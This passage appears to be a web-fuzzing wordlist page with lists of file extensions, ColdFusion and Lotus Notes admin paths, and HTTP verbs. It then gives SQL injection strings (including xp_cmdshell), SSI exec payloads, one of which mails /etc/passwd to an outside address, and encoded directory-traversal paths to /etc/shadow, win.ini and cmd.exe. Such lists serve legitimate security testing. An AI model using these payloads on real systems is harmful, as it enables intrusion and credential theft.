.wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wki<br /> .wks<br /> .wku<br /> .wlmp<br /> .wmdb<br /> .wor<br /> .wpc<br /> .wpf<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtb<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xdp<br /> .xds<br /> .xef<br /> .xem<br /> .xfd<br /> .xfo<br /> .xft<br /> .xl<br /> .xlc<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsb<br /> .xlsm<br /> .xlsx<br /> .xlt<br /> .xltm<br /> .xltx<br /> .xlw<br /> .xmcd<br /> .xml<br /> .xmlper<br /> .xmpz<br /> .xpg<br /> .xpj<br /> .xpm<br /> .xpt<br /> .xrp<br /> .xsl<br /> .xslt<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .yam<br /> .zap<br /> .zdb<br /> .zdc<br /> .zix<br /> .zmc<br /> .zpl<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === (Compressed File Types - (Update: 16 March 2009 - Total Statements: 187) ===<br /> &lt;pre&gt;.0<br /> .000<br /> .7z<br /> .a00<br /> .a01<br /> .a02<br /> .ace<br /> .ain<br /> .alz<br /> .apz<br /> .ar<br /> .arc<br /> .arh<br /> .ari<br /> .arj<br /> .ark<br /> .axx<br /> .b64<br /> .ba<br /> .bh<br /> .boo<br /> .bz<br /> .bz2<br /> .bzip<br /> .bzip2<br /> .c00<br /> .c01<br /> .c02<br /> .car<br /> .cb7<br /> .cbr<br /> .cbt<br /> .cbz<br /> .cp9<br /> .cpgz<br /> .cpt<br /> .dar<br /> .dd<br /> .deb<br /> .dgc<br /> .dist<br /> .ecs<br /> .efw<br /> .epi<br /> .f<br /> .fdp<br /> .gca<br /> .gz<br /> .gzi<br /> .gzip<br /> .ha<br /> .hbc<br /> .hbc2<br /> .hbe<br /> .hki<br /> .hki1<br /> .hki2<br /> .hki3<br /> .hpk<br /> .hyp<br /> .ice<br /> .ipg<br /> .ipk<br /> .ish<br /> .j<br /> .jar.pack<br /> .jgz<br /> .jic<br /> .kgb<br /> .lbr<br /> .lemon<br /> .lha<br /> .lnx<br /> .lqr<br /> .lz<br /> .lzh<br /> .lzm<br /> .lzma<br /> .lzo<br /> .lzx<br /> .md<br /> .mint<br /> .mou<br /> .mpkg<br /> .mzp<br /> .oar<br /> .p7m<br /> .pack.gz<br /> .package<br /> .pae<br /> .pak<br /> .paq6<br /> .paq7<br /> .paq8<br /> .par<br /> .par2<br /> .pbi<br /> .pcv<br /> .pea<br /> .pet<br /> .pf<br /> .pim<br /> .pit<br /> .piz<br /> .pkg<br /> .pup<br /> .puz<br /> .pwa<br /> .qda<br /> .r0<br /> .r00<br /> .r01<br /> .r02<br /> .r03<br /> .r1<br /> .r2<br /> .r30<br /> .rar<br /> .rev<br /> .rk<br /> .rnc<br /> .rp9<br /> .rpm<br /> .rte<br /> .rz<br /> .rzs<br /> .s00<br /> .s01<br /> .s02<br /> .s7z<br /> .sar<br /> .sdc<br /> .sdn<br /> .sea<br /> .sen<br /> .sfs<br /> .sfx<br /> .sh<br /> .shar<br /> .shk<br /> .shr<br /> .sit<br /> .sitx<br /> .spt<br /> .sqx<br /> .sqz<br /> .tar<br /> .tar.gz<br /> .tar.xz<br /> .taz<br /> .tbz<br /> .tbz2<br /> .tg<br /> .tgz<br /> .tlz<br /> .tlzma<br /> .txz<br /> .tz<br /> .uc2<br /> .uha<br /> .vem<br /> .vsi<br /> .wad<br /> .war<br /> .wot<br /> .xef<br /> .xez<br /> .xmcdz<br /> .xpi<br /> .xx<br /> .xz<br /> .y<br /> .yz<br /> .z<br /> .z01<br /> .z02<br /> .z03<br /> .z04<br /> .zap<br /> .zfsendtotarget<br /> .zip<br /> .zipx<br /> .zix<br /> .zoo<br /> .zpi<br /> .zz&lt;/pre&gt;<br /> <br /> === (Uncommon Data File Extensions (Update: 16 March 2009 - Total Statements: 284) ===<br /> &lt;pre&gt;<br /> .3me<br /> .3pe<br /> .4dl<br /> .8xk<br /> .^^^<br /> .aao<br /> .ab2<br /> .aca<br /> .accdb<br /> .acf<br /> .acg<br /> .agd<br /> .an1<br /> .anme<br /> .arc<br /> .arh<br /> .ast<br /> .att<br /> .aw<br /> .bafl<br /> .bdf<br /> .bfx<br /> .bjo<br /> .bld<br /> .blg<br /> .btf<br /> .btif<br /> .btr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .chk<br /> .ckd<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .cmbl<br /> .contact<br /> .cpi<br /> .cpmz<br /> .csv<br /> .cwz<br /> .cxt<br /> .daf<br /> .dat<br /> .data<br /> .db<br /> .dcf<br /> .ddt<br /> .dex<br /> .dif<br /> .dmsk<br /> .dnc<br /> .dpx<br /> .dsd<br /> .dt1<br /> .dt2<br /> .dta<br /> .e00<br /> .ec0<br /> .edf<br /> .eep<br /> .efx<br /> .enc<br /> .enw<br /> .epw<br /> .est<br /> .et<br /> .eta<br /> .ev3<br /> .exif<br /> .exp<br /> .fbl<br /> .fdb<br /> .fid<br /> .fol<br /> .gdb<br /> .gen<br /> .gnp<br /> .gpi<br /> .gpx<br /> .hcp<br /> .hdf<br /> .hmt<br /> .hsk<br /> .htg<br /> .id2<br /> .ii<br /> .img<br /> .ink<br /> .ins<br /> .irr<br /> .irx<br /> .iw<br /> .jdb<br /> .jnt<br /> .job<br /> .jrprint<br /> .kmz<br /> .lbx<br /> .lex<br /> .lgf<br /> .lgl<br /> .lib<br /> .liveupdate<br /> .lnt<br /> .lst<br /> .m<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mdb<br /> .mem<br /> .menc<br /> .met<br /> .mmf<br /> .mng<br /> .mpd<br /> .mpp<br /> .ms10<br /> .muf<br /> .mw<br /> .mwf<br /> .mwx<br /> .nc<br /> .ndx<br /> .nfo<br /> .not<br /> .ns2<br /> .ns3<br /> .ns4<br /> .ntx<br /> .numbers<br /> .ods<br /> .oeaccount<br /> .omcs<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .orx<br /> .out<br /> .ov2<br /> .ovf<br /> .paf<br /> .pbd<br /> .pcr<br /> .pdb<br /> .pdx<br /> .peb<br /> .pec<br /> .pfc<br /> .pis<br /> .pln<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pos<br /> .postal<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .pre<br /> .prf<br /> .psa<br /> .psf<br /> .pst<br /> .ptz<br /> .q07<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qfx<br /> .qpf<br /> .qpw<br /> .qsd<br /> .rcd<br /> .rdx<br /> .ref<br /> .rmuf<br /> .roi<br /> .rrt<br /> .rvt<br /> .rwg<br /> .saf<br /> .sam07<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sds<br /> .ser<br /> .sgn<br /> .shs<br /> .skc<br /> .slk<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sql<br /> .stf<br /> .stl<br /> .stm<br /> .sy3<br /> .t08<br /> .t09<br /> .t2<br /> .tax2009<br /> .tdl<br /> .tdt<br /> .te<br /> .teacher<br /> .tmw<br /> .tol<br /> .trk<br /> .trs<br /> .trx<br /> .tsv<br /> .uccapilog<br /> .ud<br /> .udeb<br /> .uds<br /> .update<br /> .uwl<br /> .val<br /> .vcf<br /> .vdb<br /> .vfs<br /> .vip<br /> .vle<br /> .vlg<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb3<br /> .wdq<br /> .wfd<br /> .wfm<br /> .windowslivecontact<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wks<br /> .wlmp<br /> .wpc<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xds<br /> .xfd<br /> .xl<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsx<br /> .xltm<br /> .xltx<br /> .xml<br /> .xmpz<br /> .xsl<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === Cold Fusion Default Files - (Update: 16 March 2009 - Total Statements: 65) ===<br /> &lt;pre&gt;<br /> CFIDE/Administrator/<br /> CFIDE/Administrator/index.cfm<br /> CFIDE/Administrator/login.cfm<br /> CFIDE/Administrator/Application.cfm<br /> CFIDE/Application.cfm<br /> CFIDE/adminapi/<br /> CFIDE/adminapi/Application.cfm<br /> CFIDE/adminapi/administrator.cfc<br /> CFIDE/adminapi/base.cfc<br /> CFIDE/adminapi/customtags/<br /> CFIDE/adminapi/customtags/l10n.cfm<br /> CFIDE/adminapi/customtags/resources<br /> CFIDE/adminapi/customtags/resources/<br /> CFIDE/adminapi/datasource.cfc<br /> CFIDE/adminapi/debugging.cfc<br /> CFIDE/adminapi/eventgateway.cfc<br /> CFIDE/adminapi/extensions.cfc<br /> CFIDE/adminapi/mail.cfc<br /> CFIDE/adminapi/runtime.cfc<br /> CFIDE/adminapi/security.cfc<br /> CFIDE/adminapi/_datasource/<br /> CFIDE/adminapi/_datasource/formatjdbcurl.cfm<br /> CFIDE/adminapi/_datasource/getaccessdefaultsfromregistry.cfm<br /> CFIDE/adminapi/_datasource/geturldefaults.cfm<br /> CFIDE/adminapi/_datasource/setdsn.cfm<br /> CFIDE/adminapi/_datasource/setmsaccessregistry.cfm<br /> CFIDE/adminapi/_datasource/setsldatasource.cfm<br /> CFIDE/classes/<br /> CFIDE/classes/cf-j2re-win.cab<br /> CFIDE/classes/cfapplets.jar<br /> CFIDE/classes/images<br /> CFIDE/componentutils/<br /> CFIDE/componentutils/Application.cfm<br /> CFIDE/componentutils/cfcexplorer.cfc<br /> CFIDE/componentutils/cfcexplorer_utils.cfm<br /> CFIDE/componentutils/componentdetail.cfm<br /> CFIDE/componentutils/componentdoc.cfm<br /> CFIDE/componentutils/componentlist.cfm<br /> CFIDE/componentutils/gatewaymenu<br /> CFIDE/componentutils/gatewaymenu/<br /> CFIDE/componentutils/gatewaymenu/menu.cfc<br /> CFIDE/componentutils/gatewaymenu/menunode.cfc<br /> CFIDE/componentutils/login.cfm<br /> CFIDE/componentutils/packagelist.cfm<br /> CFIDE/componentutils/utils.cfc<br /> CFIDE/componentutils/_component_cfcToHTML.cfm<br /> CFIDE/componentutils/_component_cfcToMCDL.cfm?<br /> CFIDE/componentutils/_component_style.cfm<br /> CFIDE/componentutils/_component_utils.cfm<br /> CFIDE/debug/<br /> CFIDE/debug/images/<br /> CFIDE/debug/includes/<br /> CFIDE/images/<br /> CFIDE/images/skins/<br /> CFIDE/install.cfm<br /> CFIDE/installers/<br /> CFIDE/installers/CFMX7DreamWeaverExtensions.mxp<br /> CFIDE/installers/CFReportBuilderInstaller.exe<br /> CFIDE/probe.cfm<br /> CFIDE/scripts/<br /> CFIDE/scripts/css/<br /> CFIDE/scripts/xsl/<br /> CFIDE/wizards/<br /> CFIDE/wizards/common/<br /> CFIDE/wizards/common/utils.cfc&lt;/pre&gt;<br /> <br /> <br /> === All HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2009 - Total Statements: 31) ===<br /> &lt;pre&gt;OPTIONS<br /> GET<br /> HEAD<br /> POST<br /> PUT<br /> DELETE<br /> TRACE<br /> CONNECT<br /> PROPFIND<br /> PROPPATCH<br /> MKCOL<br /> COPY<br /> MOVE<br /> LOCK<br /> UNLOCK<br /> VERSION-CONTROL<br /> REPORT<br /> CHECKOUT<br /> CHECKIN<br /> UNCHECKOUT<br /> MKWORKSPACE<br /> UPDATE<br /> LABEL<br /> MERGE<br /> BASELINE-CONTROL<br /> MKACTIVITY<br /> ORDERPATCH<br /> ACL<br /> PATCH<br /> SEARCH<br /> ARBITRARY<br /> &lt;/pre&gt;<br /> <br /> === Lotus/Notes Files -(Update: 02 February 2010 - Total Statements: 111) ===<br /> &lt;pre&gt;/852566C90012664F<br /> /admin4.nsf<br /> /admin5.nsf<br /> /admin.nsf<br /> /agentrunner.nsf<br /> /alog.nsf<br /> /a_domlog.nsf<br /> /bookmark.nsf<br /> /busytime.nsf<br /> /catalog.nsf<br /> /certa.nsf<br /> /certlog.nsf<br /> /certsrv.nsf<br /> /chatlog.nsf<br /> /clbusy.nsf<br /> /cldbdir.nsf<br /> /clusta4.nsf<br /> /collect4.nsf<br /> /da.nsf<br /> /dba4.nsf<br /> /dclf.nsf<br /> /DEASAppDesign.nsf<br /> /DEASLog01.nsf<br /> /DEASLog02.nsf<br /> /DEASLog03.nsf<br /> /DEASLog04.nsf<br /> /DEASLog05.nsf<br /> /DEASLog.nsf<br /> /decsadm.nsf<br /> /decslog.nsf<br /> /DEESAdmin.nsf<br /> /dirassist.nsf<br /> /doladmin.nsf<br /> /domadmin.nsf<br /> /domcfg.nsf<br /> /domguide.nsf<br /> /domlog.nsf<br /> /dspug.nsf<br /> /events4.nsf<br /> /events5.nsf<br /> /events.nsf<br /> /event.nsf<br /> /homepage.nsf<br /> /iNotes/Forms5.nsf/$DefaultNav<br /> /jotter.nsf<br /> /leiadm.nsf<br /> /leilog.nsf<br /> /leivlt.nsf<br /> /log4a.nsf<br /> /log.nsf<br /> /l_domlog.nsf<br /> /mab.nsf<br /> /mail10.box<br /> /mail1.box<br /> /mail2.box<br /> /mail3.box<br /> /mail4.box<br /> /mail5.box<br /> /mail6.box<br /> /mail7.box<br /> /mail8.box<br /> /mail9.box<br /> /mail.box<br /> /msdwda.nsf<br /> /mtatbls.nsf<br /> /mtstore.nsf<br /> /names.nsf<br /> /nntppost.nsf<br /> /nntp/nd000001.nsf<br /> /nntp/nd000002.nsf<br /> /nntp/nd000003.nsf<br /> /ntsync45.nsf<br /> /perweb.nsf<br /> /qpadmin.nsf<br /> /quickplace/quickplace/main.nsf<br /> /reports.nsf<br /> /sample/siregw46.nsf<br /> /schema50.nsf<br /> /setupweb.nsf<br /> /setup.nsf<br /> /smbcfg.nsf<br /> /smconf.nsf<br /> /smency.nsf<br /> /smhelp.nsf<br /> /smmsg.nsf<br /> /smquar.nsf<br /> /smsolar.nsf<br /> /smtime.nsf<br /> /smtpibwq.nsf<br /> /smtpobwq.nsf<br /> /smtp.box<br /> /smtp.nsf<br /> /smvlog.nsf<br /> /srvnam.htm<br /> /statmail.nsf<br /> /statrep.nsf<br /> /stauths.nsf<br /> /stautht.nsf<br /> /stconfig.nsf<br /> /stconf.nsf<br /> /stdnaset.nsf<br /> /stdomino.nsf<br /> /stlog.nsf<br /> /streg.nsf<br /> /stsrc.nsf<br /> /userreg.nsf<br /> /vpuserinfo.nsf<br /> /webadmin.nsf<br /> /web.nsf<br /> /.nsf/../winnt/win.ini<br /> /?Open <br /> &lt;/pre&gt;<br /> <br /> === SQL Injection -(Update: 11 August 2009 - Total Statements: 126) ===<br /> &lt;pre&gt;Statement<br /> 'sqlvuln<br /> '+sqlvuln<br /> sqlvuln;<br /> (sqlvuln)<br /> a' or 1=1--<br /> &quot;a&quot;&quot; or 1=1--&quot;<br /> or a = a<br /> a' or 'a' = 'a<br /> 1 or 1=1<br /> a' waitfor delay '0:0:10'--<br /> 1 waitfor delay '0:0:10'--<br /> declare @q nvarchar (4000) select @q =<br /> 0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A<br /> 0<br /> 031003000270000<br /> declare @s varchar(22) select @s =<br /> 0x77616974666F722064656C61792027303A303A31302700 exec(@s)<br /> 0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q)<br /> declare @s varchar (8000) select @s = 0x73656c65637420404076657273696f6e<br /> exec(@s)<br /> a'<br /> ?<br /> ' or 1=1<br /> ‘ or 1=1 --<br /> x' AND userid IS NULL; --<br /> x' AND email IS NULL; --<br /> anything' OR 'x'='x<br /> x' AND 1=(SELECT COUNT(*) FROM tabname); --<br /> x' AND members.email IS NULL; --<br /> x' OR full_name LIKE '%Bob%<br /> 23 OR 1=1<br /> '; exec master..xp_cmdshell 'ping 172.10.1.255'--<br /> '<br /> '%20or%20''='<br /> '%20or%20'x'='x<br /> %20or%20x=x<br /> ')%20or%20('x'='x<br /> 0 or 1=1<br /> ' or 0=0 --<br /> &quot; or 0=0 --<br /> or 0=0 --<br /> ' or 0=0 #<br /> or 0=0 #&quot;<br /> or 0=0 #<br /> ' or 1=1--<br /> &quot; or 1=1--<br /> ' or '1'='1'--<br /> ' or 1 --'<br /> or 1=1--<br /> or%201=1<br /> or%201=1 --<br /> ' or 1=1 or ''='<br /> or 1=1 or &quot;&quot;=<br /> ' or a=a--<br /> or a=a<br /> ') or ('a'='a<br /> ) or (a=a<br /> hi or a=a<br /> hi or 1=1 --&quot;<br /> hi' or 1=1 --<br /> hi' or 'a'='a<br /> hi') or ('a'='a<br /> &quot;hi&quot;&quot;) or (&quot;&quot;a&quot;&quot;=&quot;&quot;a&quot;<br /> 'hi' or 'x'='x';<br /> @variable<br /> ,@variable<br /> PRINT<br /> PRINT @@variable<br /> select<br /> insert<br /> as<br /> or<br /> procedure<br /> limit<br /> order by<br /> asc<br /> desc<br /> delete<br /> update<br /> distinct<br /> having<br /> truncate<br /> replace<br /> like<br /> handler<br /> bfilename<br /> ' or username like '%<br /> ' or uname like '%<br /> ' or userid like '%<br /> ' or uid like '%<br /> ' or user like '%<br /> exec xp<br /> exec sp<br /> '; exec master..xp_cmdshell<br /> '; exec xp_regread<br /> t'exec master..xp_cmdshell 'nslookup www.google.com'--<br /> --sp_password<br /> \x27UNION SELECT<br /> ' UNION SELECT<br /> ' UNION ALL SELECT<br /> ' or (EXISTS)<br /> ' (select top 1<br /> '||UTL_HTTP.REQUEST<br /> 1;SELECT%20*<br /> to_timestamp_tz<br /> tz_offset<br /> &amp;lt;&amp;gt;&quot;'%;)(&amp;amp;+<br /> '%20or%201=1<br /> %27%20or%201=1<br /> %20$(sleep%2050)<br /> %20'sleep%2050'<br /> char%4039%41%2b%40SELECT<br /> &amp;amp;apos;%20OR<br /> 'sqlattempt1<br /> (sqlattempt2)<br /> |<br /> %7C<br /> *|<br /> %2A%7C<br /> *(|(mail=*))<br /> %2A%28%7C%28mail%3D%2A%29%29<br /> *(|(objectclass=*))<br /> %2A%28%7C%28objectclass%3D%2A%29%29<br /> (<br /> %28<br /> )<br /> %29<br /> &amp;amp;<br /> %26<br /> !<br /> %21<br /> ' or 1=1 or ''='<br /> ' or ''='<br /> x' or 1=1 or 'x'='y<br /> /<br /> //<br /> //*<br /> */*<br /> a' or 3=3--<br /> &quot;a&quot;&quot; or 3=3--&quot;<br /> ' or 3=3<br /> ‘ or 3=3 --<br /> &lt;/pre&gt; <br /> === SSI (Server Side Includes) - (Update: xx/xx/xx - Total Statements: 4) ===<br /> &lt;pre&gt;&amp;lt;!--#exec cmd=&quot;/bin/ls /&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;find / -name *.* -print&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;mail Foobar@email.de &amp;lt;mailto:Foobar@email.de&amp;gt; &amp;lt; cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &lt;/pre&gt; <br /> === Directory Traversal - (Update: 11 August 2009 - Total Statements: 132) ===<br /> &lt;pre&gt;Statement<br /> \..\WINDOWS\win.ini<br /> \..\..\WINDOWS\win.ini<br /> \..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\..\WINDOWS\win.ini<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> ..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> ../../../../../../../../../etc/passwd<br /> ../../../../../../../../etc/passwd<br /> ../../../../../../../etc/passwd<br /> ../../../../../../etc/passwd<br /> ../../../../../etc/passwd<br /> ../../../../etc/passwd<br /> ../../../etc/passwd<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> ../../../.htaccess<br /> ../../.htaccess<br /> ../.htaccess<br /> .htaccess<br /> ././.htaccess<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%68%74%61%63%63%65%73%73<br /> %2e%2f%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%66%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> ../../../../../../../../../../../../etc/hosts%00<br /> ../../../../../../../../../../../../etc/hosts<br /> ../../boot.ini<br /> /../../../../../../../../%2A<br /> ../../../../../../../../../../../../etc/passwd%00<br /> ../../../../../../../../../../../../etc/passwd<br /> ../../../../../../../../../../../../etc/shadow%00<br /> ../../../../../../../../../../../../etc/shadow<br /> /../../../../../../../../../../etc/passwd^^<br /> /../../../../../../../../../../etc/shadow^^<br /> /../../../../../../../../../../etc/passwd<br /> /../../../../../../../../../../etc/shadow<br /> /./././././././././././etc/passwd<br /> /./././././././././././etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> /..\../..\../..\../..\../..\../..\../etc/passwd<br /> /..\../..\../..\../..\../..\../..\../etc/shadow<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> %0a/bin/cat%20/etc/passwd<br /> %0a/bin/cat%20/etc/shadow<br /> %00/etc/passwd%00<br /> %00/etc/shadow%00<br /> %00../../../../../../etc/passwd<br /> %00../../../../../../etc/shadow<br /> /../../../../../../../../../../../etc/passwd%00.jpg<br /> /../../../../../../../../../../../etc/passwd%00.html<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow<br /> 